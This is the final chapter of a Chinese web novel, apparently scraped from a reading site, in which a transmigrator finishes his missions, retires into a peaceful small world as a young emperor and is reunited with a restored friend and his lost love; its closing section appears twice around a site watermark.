一个本应该有点小骄傲,博学开朗,又善于探索的女官谈简。 宋盈礼没有提前告诉他,或许也是让他再不必挂怀。 谢璇衣刚想习以为常地叫出系统,才想起他已经彻底脱离。 没有什么东西再日日夜夜的跟着他,噩梦一般缠着他了,他要真正意义上过皇帝一般的日子了。 他把信笺郑重地叠好收回去,夹在一本书里,重新放回书架上。 刚做完这一切,谈简推门进来。 没有外人时,她无需多礼。在这个小世界,没有人会逼着她卑躬屈膝。 谢璇衣情绪还酝酿在心头,就被谈简一番劈头盖脸的考察砸晕了头。 要不,要不还是稍微收敛一点吧。 谁说皇帝九五至尊,他这个皇帝才是一人之下万人之上,或许谈简比他更适合治理国家。 赶在这份大逆不道的想法被谈简觉察之前,谢璇衣及时收住。 规规矩矩地学了半个时辰,他就开始有些头痛。 再过了半个时辰,在谈简注意不到的时刻,谢璇衣开始打瞌睡。 谈简正在对他堪称千古异闻的文章啧啧称奇,一转眼,瞧见人已经低下头。 她强忍住有损龙体的冲动,只是摇了摇头,拍了拍谢璇衣的肩膀。 “要不,出去走走?” 谢璇衣半梦半醒听到这么一句,顿时连瞌睡都消了大半,迷迷糊糊睁开眼,“好。” 谈简简直气笑了,又无可奈何。 即使是常服,独自穿戴皇帝服制也让谢璇衣难以下手,他顺从地由着宫人换装。 今日街道上分外热闹,谢璇衣抱着出来逛摊子的心思,却被人挤人,险些和谈简走散。 转念一想,在城墙上看看,倒也不错。 毕竟往后,日子还长着呢。 站在巍峨的城墙上往下望,城内,车水马龙游人如织,吆喝声混合着瓜果糕点的甜香,充盈着感官上下;城外,训练有素的士兵列阵,十个一排,成队地向城门蜿蜒。 红绸飘荡,喜气洋洋。 “今日怎么这么热闹,什么日子啊,谁家成亲吗?” 谢璇衣扒着粗砺的城墙围栏向下看。 他的一身朱衣也像高高挂起的绸缎,流水一般在风中荡漾,鬓发揉乱,几乎要迷了眼睛。 迎着风,谈简嗅着北方辽远的气息,左手压着发际线上乱飞的刘海,略微提高了一点声音。 “大将军今日凯旋。” 眼见这位小陛下一日日糊里糊涂,她又看过去,无奈地补充好前后文。 “七月前,胡虏南下破我疆土,您亲擢大将军官职,命其率兵出征,驱除蛮族。” 说到这里,她心虚地压低一点嗓音,“您不是一向不喜,没想着他能从前线活着回来。” “所以连这种日子都没人来叫?” 谢璇衣手挡在额头上,遮住阳光,前倾着身子远远望下去。 这是他当皇帝的失职啊! 谈简面上闪过一丝隐约尴尬。 “的确有宫人来叫,还不止一次,只是您说昨日功课太重,起不来,全都赶走了。” 尴尬立刻转移到谢璇衣脸上。 这个话题就不该开始。 不对,不知者无罪,他也不知道“自己”和这位将军不和啊,他问问也只是在了解情况而已。 谢璇衣理不直气也壮,“哦。那照这么说,这位将军还很厉害了?” 谈简思索片刻,应声道:“这倒是有目共睹的。” “年末时候,忽然高热不断,险些医不得,连太医院院判都直摇头。却又不知怎么,过几日奇迹般地退了热。” “之后不出两月,就挂帅出征了。” 她的余音还在风里回旋,人群忽然沸腾起来,他听到身旁人高声欢呼起来。 里里外外的意思,不过是瞧见那位神秘将军的身影。 谢璇衣正盯着谈简袖口一团墨渍,犹豫要不要提醒她,闻百姓言,也好奇地探头去瞧。 一列官兵之前,簇拥着白马银甲的将军。 只一眼,谢璇衣脸上的笑容连带着血色慢慢褪去。 他心如擂鼓,乱了分寸,竟恍惚觉得迎阵的鼓槌失了准头,怎得次次砸在他心口上,教他心脏钝痛,难以开口。 或许只是,只是和他很像。 队列慢慢前进,一寸一厘,逐步靠近他脚下高耸的城楼。 谢璇衣心跳抵达顶峰,又一寸一寸地慢下来。 于是后起的失落加倍奉还。 他朱红的衣带挂着鎏金坠饰,叮叮当当,被风吹断,遥遥向着人群砸下去。 谢璇衣猛然心惊,生怕砸伤无辜路人,急忙忙探出身去看。 挂坠恰好掉在将军马前,他也循着方位,遥遥抬眸看去。 于是一身白衣,恰好落在谢璇衣深褐的瞳孔中。 白马金羁,从容气度,举世无双。 是他。 只用一眼,谢璇衣触电般颤抖着,提着衣摆飞奔下城楼,无数次腿软险些跌倒。 身旁不知道何人认出,一句接一句的“陛下”声带惶恐。 他听不清任何声音,无数张脸都只是身侧的虚影,只有那一张烙入骨髓的脸是真切的。 那一刻,他本就不稳固的代入感彻底崩盘。 他忘了自己是皇帝,忘了只需要一个指令,那人就能入宫伴圣整个晨昏。 那座城楼那样高,他怕自己慢了一步,那张熟悉的脸就与他擦肩而过,从此真的就像两条相交线一般。 一眼惊鸿,再见无望。 于是铆足劲跑来时候,他才发觉自己泪流满面,腿抖得不像样,哪还有半分帝王威严? 满地跪了一片,惶惶然不敢抬头。谈简犹豫片刻,转过身去。 喉咙像风箱一般,隐约冒上血腥气,他咽下气息,在跌倒的前一刻,猛然撞进一个冰冷坚硬的怀抱中。 那人身上的味道熟悉又陌生,也全然不似曾经那般嶙峋。 健康长命,意气风发。 凯旋的将军双臂扣在他后腰,远比他用情更深。 “我……” 谢璇衣一开口,喉头喑哑,方寸尽失。 那人安抚地顺了顺他的后背,熟悉到几乎教他哽咽的声音响在耳畔。 “谁家的陛下,冲到大街正中,也不怕被车马冲撞?” 日上正午,硕大一轮金盘耀目。 不知城中哪处孩童玩闹,点燃了连串的爆竹,噼啪作响,连绵不绝。 像是永不终结的煌煌盛世。 【全文完】魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第51章【全文完】 第51章 像是一场转瞬即逝的梦。 梦的结尾,打上了【已销毁】的烙印。 谢璇衣也得到了和昔日相同的水晶球。 不过这一次,只有他一个人观赏。 水晶球里,是小世界的结局。 昔日的暴民推选出他们的领袖,成为新一代君权的代名;是重蹈覆辙,还是跳出轮回,都无从谈论。 摇光走进阳光下,在禁军挂职。这是他想要的吗,谢璇衣猜不透。 阕梅一行人彻底自由,奔赴了不同的命运。少女隐姓埋名去到酒楼打工,模样他渐渐认不出了,会笑,会和好友玩闹,只是偶尔看向远处百废待兴的府邸时,尚有几分失神。 小竹死在那日的决战中,标志着身份的腰牌被旁人挂在屋檐下,是一打眼便能瞧见的位置。 吴娴幽禁在荒废的偏殿中,殿内,只有瓦片剥落的角落,才能射下一线阳光;她没有选择死,也没有选择疯,她只是看着,蛰伏着,期待有一日东山再起。 对此,谢璇衣只是恍然。 最后,水晶球在他手中炸裂开,碎片化成细小的符号,渐渐消失在空气中。 他问系统,能不能把沈适忻的数据保存下来,他愿意花积分。 系统却说,那部分数据另有作用。 那一夜,谢璇衣彻夜未眠。 次日,他和旁人汇合,一同进入任务小世界。 在同联盟的其他人看来,谢璇衣几乎没有任何区别,举手投足间依然是那股冷肃。 只有宋盈礼,在连续三次手上机关拆到一半,就被对方暴力轰开时,没忍住多看了两眼。 这一看,还真让她看出了不对劲。 临近任务完成,谢璇衣感觉自己被人拍了下肩,他下意识回头,瞧见宋盈礼笑嘻嘻的脸。 “回到广场找我去喝酒。” 宋盈礼喜欢热闹,从前出了小世界也会接着团建的由头,四处叫人一起聚聚,不过谢璇衣一向是拒绝的。 今日却不知怎么的,鬼使神差般,他同意了。 短暂的晕眩过后,偌大的主世界广场重新展露在眼前。 奇装异服的行人从他身边经过,带起的凉风刮起他的衣角,就像是隔着很远的距离引发的一场蝴蝶效应。 他找到宋盈礼所在的酒吧。 那座酒吧屈居在整个主世界最繁华的城市中,被建筑物切割成了上下两段。 宋盈礼在天台定了位置。 他到的时候,酒已经送上来了。 谢璇衣瞟了一眼,不便宜,心道占便宜也不挑剔了,便坐在对方身旁,把外套丢在一旁。 他们的对面,是整座虚幻又真实的主世界,主干道交错纵横,灯红酒绿都尽收眼底,车水马龙,繁华得不像样,像是永远没有停歇。 它周而复始地迎来新人,送去旧人,不知靠着何种力量运转至今。 宋盈礼不说话,他便也没有开口,两个往日里能相互嘲讽二十句的人,今日倒像是吃了哑药。 天台有零星的散客,聚在一起有说有笑,声音不大,却也能衬得此处分外寂寥。 也不知道宋盈礼怎么挑的,本来过分辛辣的酒里掺入了桂花米酒的气息,冲淡了它的侵略性。 所以明知道这算是烈酒,谢璇衣还是一口口喝了下去。 “谢璇衣,你有注意过你的清单吗?” 宋盈礼眼里也有醉意,却全然没有他这般上瘾,一向藏不住事的眼里格外复杂。 她放下酒杯,盯着一处霓虹映上的紫红光斑。 “什么清单。” “你的任务。还剩下最后二十个,如果你想,很快,一个月就能完成。” 宋盈礼把杯子里的冰块夹出来,摸了摸,很新奇于这种花形的别致。 对面大楼玻璃反射回车辆的反光,恰好有一秒照在谢璇衣脸上。 宋盈礼看到他眼中似乎有泪。 “你不会觉得我走不出来吧,”谢璇衣梗着,哼笑一声,抿了口酒底,“那你和他们一样肤浅。” 宋盈礼不知道这个他们指的是谁。 “不知道啊,我只是没见过这种,走出来又把戒指戴回去的人,新奇。” 她毫不留情地侵占对方最后一点嘴硬的余地,视线不加掩饰地停驻在对方指根,盯着那一点融入背景色的浅银。 谢璇衣没说话,只是盯着远处的楼。 对面的某一层似乎在举办订婚晚会,新娘波浪一般倾泻下来的浅蓝纱裙,一次次晃过玻璃窗前。 人的命运不过几家欢喜几家愁。 “只是数据而已,”宋盈礼叹了口气,“何必呢。” 谢璇衣很久很久没有回复。 她也知道自己不该这么莽撞,不敢抬头,只是自顾自地喝酒。 而后,对方许久没有动过的香槟杯壁上,忽然砸下一滴水珠,又极快地融合着其他细细密密的水滴,滚落到大理石台上。 “是,我想不明白,明明,只是数据而已。” 他经历了那么多小世界,为什么还是会这么难过。 亲眼看着沈适忻死在面前,世间少一个宿仇,他该高兴才对。 可,为什么。 为什么想起他,提起他的时候,都会有一阵阵心痛。 宋盈礼对他的症状摇头叹气。 “因为你是一个杀戮本的天才,情感本的呆瓜。你所有的委屈、不甘,根深蒂固,从未抽离。” “忘记他,去做完剩下的任务,然后去找系统抽签,你需要休息。” 这番话像是给谢璇衣宣判了最后的结局。 他怅然,又无言,只是默默地点了点头。 之后,宋盈礼放下联盟的事物,陪着谢璇衣穿梭于各类任务中。 两人都是抱着流程最简的决心,也从不耽搁。 直到谢璇衣的最后一个任务,是一个民俗恐怖类的杀戮本。 两人干脆利落,直接躲在鬼门附近猎杀厉鬼,无意间救下一个算卦的老头。 老头瞎了眼,一副破破烂烂的黑圆眼镜架在鼻梁上,摸索着抓住谢璇衣的手,非要替他看看。 还没等谢璇衣答应,老头已经数着手里一堆破破烂烂,不知道怎么摆弄起来。 老头又惊又喜,颤巍巍地指着谢璇衣,苍老的声线几乎破了音,眉飞色舞地重复几遍。 “飞鸟跌穴,你有机缘,你有机缘……” 谢璇衣还没来得及问个大概,整个小世界就在眼前扭曲起来,很快便拆解为数据,再次消失了。 他也终于完成了全部的任务。 在系统中,只要完成了任务,就能回归现实。 谢璇衣不想回到灰扑扑的现实,也不想继续过这样疲惫的生活。 从最后一个小世界抽离后,谢璇衣浑浑噩噩的睡了一觉。 醒来时,公寓里的智能家电没有开灯,此刻已经是主系统空间的后半夜,月亮西斜,刚好错开他东面的窗户。 屋内黑漆漆,安静得几乎落针可闻。 “系统,”他嗓子带着刚睡醒的干哑,似乎是做了噩梦,指尖还在颤抖,“结束吧。” 以系统时间计算,从他抽离那个小世界开始,已经过去了一个月零六天。 以各个副本时间计算,却有七个月之久。 尽管难以开口承认,谢璇衣心底却始终蒙着一层薄灰似的梦魇。 他始终不能彻底释怀。 可是一切都难以倒转,他哭过的,笑过的,都是子虚乌有,最轻盈的一片飞灰。 “好的,宿主,”系统的温柔嗓音在他耳边无数次响起,却没有这一次这般解脱,“宿主是否选择回归现实?” 谢璇衣摇了摇头,柔软的丝质家居服叠起一个波光粼粼的褶,“抽签吧,抽一个你们清理过的小世界。” 他不知道这样的选择是对是错,反正,误终身也好,享清福也罢,都是他纠结过一辈子的了。 黑洞洞的房间里,缓慢地升起一只银白色的圆筒。 盖子无人动,自行打开,露出其中筷子一般细长笔直的签。 谢璇衣轻轻晃了晃这只很有科技感的抽签筒,毫不犹豫地取出正中那一支。 银签立刻在他手里溶解,化成一滩星辰般闪亮的粉屑,融入他的皮肤。 谢璇衣想了想,问系统,“能不能给我十分钟。” 他还是决定给宋盈礼留一封信。 或许对方会交到其他的好友,然后在漫长的时间里淡忘掉他,但是一段缘分总要有始有终。 系统收到他提交的信件,很快发送过去。 眼看着“发送成功”的提示页面亮起,他这才放下最后的顾虑。 之后,便没有什么值得挂怀的了。 谢璇衣盯着房间内的陈设,慢慢叹了口气。 “好了。” 或许之后,他也会成为故事- 进入小世界仍然是一阵熟悉的晕眩,只是这次延续的时间远比先前要长得多。 久到他都要怀疑系统出了bug,眼前终于恢复了光明。 眼睛还没彻底睁开,谢璇衣揉了揉额角,听到身旁人嗓音尖细,火急火燎道:“哎哟,陛下!” 他一愣,又听那太监开口,“陛下,您怎么又睡过去了,等下谈大人瞧见了,又要添些课业了!” 太监急得团团转,又不敢上前,只好苦着张脸喋喋不休。 他着急上火半天,却见谢璇衣一副还没进状态的表情,连声叹气。 谢璇衣清了清嗓子,勉强摆起架子看了他一眼,“朕知道了,你下去吧。” 太监走后,谢璇衣瞥了一眼密密麻麻的课业和奏折,顿时一阵头大,拖着衣摆站起来。 对着房内颇有光泽的铜镜照了照,面容很青涩,谢璇衣粗略估计了一下。 他现在应该……也就十六七岁的年纪。 按那太监的口吻,恐怕是必修课都没上完,就被赶鸭子上架,哦不是,赶太子上位了。 他还没当过皇帝,看什么都很新奇,左摸摸右晃晃,刚一转过头,就瞧见太监在门缝大开大合地挤眉弄眼。 谢璇衣眨了眨眼,信息接受失败。 眼睛痒就去滴眼药水。 听着来人的脚步声,太监一脸生无可恋,表情从挣扎变成了释怀。 他把头耷拉下去,对着来人恭恭敬敬地叫了声“大人”。 来人却是个女人。 她在门外,没急着进去,先向那太监应了声,又问道:“陛下今日课业完成得可还规矩?” 太监欲言又止,遮遮掩掩,女人便立刻明白了。 她叹了口气,推门进去。 “陛下,您身为天子龙君,应以先帝为表率,不负黎民百姓才是……” 就在她开口的一瞬间,谢璇衣心中惊涛骇浪,不可置信地转过头去,额上珠坠乱晃。 她说的字字句句,谢璇衣都已听不清了,只是望着她,鼻头一酸,又喜又疑地唤了声,“阿简?” 一声落下,谢璇衣才冷静下来,顿时觉得不对。 年龄对不上,身份也对不上。 他默默接受了狂喜之后巨大的失落。 女人却没有惊讶,只是确认门关好后,才原形毕露,抱胸无可奈何地叹了口气。 “亏得名义上我还是你半个老师,如今连个阿姐也不愿意叫的。” 谢璇衣愣了愣,小心翼翼地试探了句,“阿简姐姐?” 谈简很满意,摇头晃脑地笑了笑,突然才想起正事,把怀里一封信放在他案上,“这是方才宫女送来的,说是宫外有陛下一个旧友,非要送到陛下面前。” 谈简看了一眼他空空如也的书册,摇了摇头。 “功课也不可落下,你先看信,等下要重新温习昨日课业。” 她转身出了殿门,留下谢璇衣百般疑惑地展开那封信。 信上没有任何署名、落款,只是在看到材质的一瞬间,谢璇衣一已经了然。 一张对折两次的a4白纸上,是飘逸流畅的钢笔字。 【看到了吗?是不是很惊喜呀?】 【送你的一点小礼物,原以为你用不上了,没想到世事难料。】 【往后每天都要开心快乐,不要太感谢我哦!】 书信的最后,该是姓名日期的地方,被写信人留下一只简笔画的花蝴蝶。 这是宋盈礼送给他的最后一份礼物,是她当年保留下来的,阿简的全部数据。 宋盈礼说,构成这个阿简的细胞与曾经的完全相同,而性格不同,只因为这才是真正的她。 一个本应该有点小骄傲,博学开朗,又善于探索的女官谈简。 宋盈礼没有提前告诉他,或许也是让他再不必挂怀。 谢璇衣刚想习以为常地叫出系统,才想起他已经彻底脱离。 没有什么东西再日日夜夜的跟着他,噩梦一般缠着他了,他要真正意义上过皇帝一般的日子了。 他把信笺郑重地叠好收回去,夹在一本书里,重新放回书架上。 刚做完这一切,谈简推门进来。 没有外人时,她无需多礼。在这个小世界,没有人会逼着她卑躬屈膝。 谢璇衣情绪还酝酿在心头,就被谈简一番劈头盖脸的考察砸晕了头。 要不,要不还是稍微收敛一点吧。 谁说皇帝九五至尊,他这个皇帝才是一人之下万人之上,或许谈简比他更适合治理国家。 赶在这份大逆不道的想法被谈简觉察之前,谢璇衣及时收住。 规规矩矩地学了半个时辰,他就开始有些头痛。 再过了半个时辰,在谈简注意不到的时刻,谢璇衣开始打瞌睡。 谈简正在对他堪称千古异闻的文章啧啧称奇,一转眼,瞧见人已经低下头。 她强忍住有损龙体的冲动,只是摇了摇头,拍了拍谢璇衣的肩膀。 “要不,出去走走?” 谢璇衣半梦半醒听到这么一句,顿时连瞌睡都消了大半,迷迷糊糊睁开眼,“好。” 谈简简直气笑了,又无可奈何。 即使是常服,独自穿戴皇帝服制也让谢璇衣难以下手,他顺从地由着宫人换装。 今日街道上分外热闹,谢璇衣抱着出来逛摊子的心思,却被人挤人,险些和谈简走散。 转念一想,在城墙上看看,倒也不错。 毕竟往后,日子还长着呢。 站在巍峨的城墙上往下望,城内,车水马龙游人如织,吆喝声混合着瓜果糕点的甜香,充盈着感官上下;城外,训练有素的士兵列阵,十个一排,成队地向城门蜿蜒。 红绸飘荡,喜气洋洋。 “今日怎么这么热闹,什么日子啊,谁家成亲吗?” 谢璇衣扒着粗砺的城墙围栏向下看。 他的一身朱衣也像高高挂起的绸缎,流水一般在风中荡漾,鬓发揉乱,几乎要迷了眼睛。 迎着风,谈简嗅着北方辽远的气息,左手压着发际线上乱飞的刘海,略微提高了一点声音。 “大将军今日凯旋。” 眼见这位小陛下一日日糊里糊涂,她又看过去,无奈地补充好前后文。 “七月前,胡虏南下破我疆土,您亲擢大将军官职,命其率兵出征,驱除蛮族。” 说到这里,她心虚地压低一点嗓音,“您不是一向不喜,没想着他能从前线活着回来。” “所以连这种日子都没人来叫?” 谢璇衣手挡在额头上,遮住阳光,前倾着身子远远望下去。 这是他当皇帝的失职啊! 谈简面上闪过一丝隐约尴尬。 “的确有宫人来叫,还不止一次,只是您说昨日功课太重,起不来,全都赶走了。” 尴尬立刻转移到谢璇衣脸上。 这个话题就不该开始。 不对,不知者无罪,他也不知道“自己”和这位将军不和啊,他问问也只是在了解情况而已。 谢璇衣理不直气也壮,“哦。那照这么说,这位将军还很厉害了?” 谈简思索片刻,应声道:“这倒是有目共睹的。” “年末时候,忽然高热不断,险些医不得,连太医院院判都直摇头。却又不知怎么,过几日奇迹般地退了热。” “之后不出两月,就挂帅出征了。” 她的余音还在风里回旋,人群忽然沸腾起来,他听到身旁人高声欢呼起来。 里里外外的意思,不过是瞧见那位神秘将军的身影。 谢璇衣正盯着谈简袖口一团墨渍,犹豫要不要提醒她,闻百姓言,也好奇地探头去瞧。 一列官兵之前,簇拥着白马银甲的将军。 只一眼,谢璇衣脸上的笑容连带着血色慢慢褪去。 他心如擂鼓,乱了分寸,竟恍惚觉得迎阵的鼓槌失了准头,怎得次次砸在他心口上,教他心脏钝痛,难以开口。 或许只是,只是和他很像。 队列慢慢前进,一寸一厘,逐步靠近他脚下高耸的城楼。 谢璇衣心跳抵达顶峰,又一寸一寸地慢下来。 于是后起的失落加倍奉还。 他朱红的衣带挂着鎏金坠饰,叮叮当当,被风吹断,遥遥向着人群砸下去。 谢璇衣猛然心惊,生怕砸伤无辜路人,急忙忙探出身去看。 挂坠恰好掉在将军马前,他也循着方位,遥遥抬眸看去。 于是一身白衣,恰好落在谢璇衣深褐的瞳孔中。 白马金羁,从容气度,举世无双。 是他。 只用一眼,谢璇衣触电般颤抖着,提着衣摆飞奔下城楼,无数次腿软险些跌倒。 身旁不知道何人认出,一句接一句的“陛下”声带惶恐。 他听不清任何声音,无数张脸都只是身侧的虚影,只有那一张烙入骨髓的脸是真切的。 那一刻,他本就不稳固的代入感彻底崩盘。 他忘了自己是皇帝,忘了只需要一个指令,那人就能入宫伴圣整个晨昏。 那座城楼那样高,他怕自己慢了一步,那张熟悉的脸就与他擦肩而过,从此真的就像两条相交线一般。 一眼惊鸿,再见无望。 于是铆足劲跑来时候,他才发觉自己泪流满面,腿抖得不像样,哪还有半分帝王威严? 满地跪了一片,惶惶然不敢抬头。谈简犹豫片刻,转过身去。 喉咙像风箱一般,隐约冒上血腥气,他咽下气息,在跌倒的前一刻,猛然撞进一个冰冷坚硬的怀抱中。 那人身上的味道熟悉又陌生,也全然不似曾经那般嶙峋。 健康长命,意气风发。 凯旋的将军双臂扣在他后腰,远比他用情更深。 “我……” 谢璇衣一开口,喉头喑哑,方寸尽失。 那人安抚地顺了顺他的后背,熟悉到几乎教他哽咽的声音响在耳畔。 “谁家的陛下,冲到大街正中,也不怕被车马冲撞?” 日上正午,硕大一轮金盘耀目。 不知城中哪处孩童玩闹,点燃了连串的爆竹,噼啪作响,连绵不绝。 像是永不终结的煌煌盛世。 【全文完】魔.蝎`小`说 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